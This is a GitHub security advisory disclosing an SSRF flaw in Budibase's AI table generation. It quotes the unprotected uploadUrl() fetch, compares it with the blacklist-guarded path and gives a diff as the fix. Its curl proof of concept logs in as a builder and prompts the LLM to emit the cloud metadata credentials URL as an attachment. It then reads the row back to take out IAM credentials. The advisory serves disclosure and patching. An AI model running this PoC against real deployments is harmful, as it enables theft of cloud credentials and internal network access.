Skip to content

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Moderate severity GitHub Reviewed Published Jul 22, 2026 in Budibase/budibase • Updated Aug 12, 2026

Package

npm @budibase/server (npm)

Affected versions

<= 3.38.1

Patched versions

None

Description

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // No blacklist validation

This is called from:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
  entry: Record<string, any>,
  attachmentColumns: FieldSchema[]
) {
  function processAttachment(value: any) {
    if (typeof value === "object") {
      return uploadFile(value)
    }

    return uploadUrl(value)  // String values treated as URLs, fetched without protection
  }

Which is triggered via generateRows() at line 34:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
        await processAttachments(entry, attachmentColumns)

Compare with correct sibling: processUrlFile() in extract.ts

// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
  fileUrl: string,
  fileType: SupportedFileType,
  llm: LLMResponse
): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
  url: string,
  request: RequestInit = {}
): Promise<Response> {
  const maxRedirects = 5
  let nextUrl = url
  // ...
  for (let redirects = 0; redirects <= maxRedirects; redirects++) {
    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges
    const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"builder@example.com","password":"password123"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx"  # Use existing app

# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
  -H "Content-Type: application/json" \
  -H "Cookie: budibase:auth=$TOKEN" \
  -d '{
    "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.

# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
  -H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content

Impact

  • Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
  • Internal service enumeration and data exfiltration from private network resources
  • Port scanning of internal infrastructure via timing/error differences
  • Bypass of network segmentation when Budibase is deployed in a DMZ or VPC

Suggested Remediation

Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():

// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"

import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"

// ...

export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
-    const res = await fetch(url)
+    const res = await fetchWithBlacklist(url)

    const extension = [...res.url.split(".")].pop()!.split("?")[0]

References

@mjashanks mjashanks published to Budibase/budibase Jul 22, 2026
Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Aug 12, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-73307

GHSA ID

GHSA-hfhx-w8p8-4hc7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.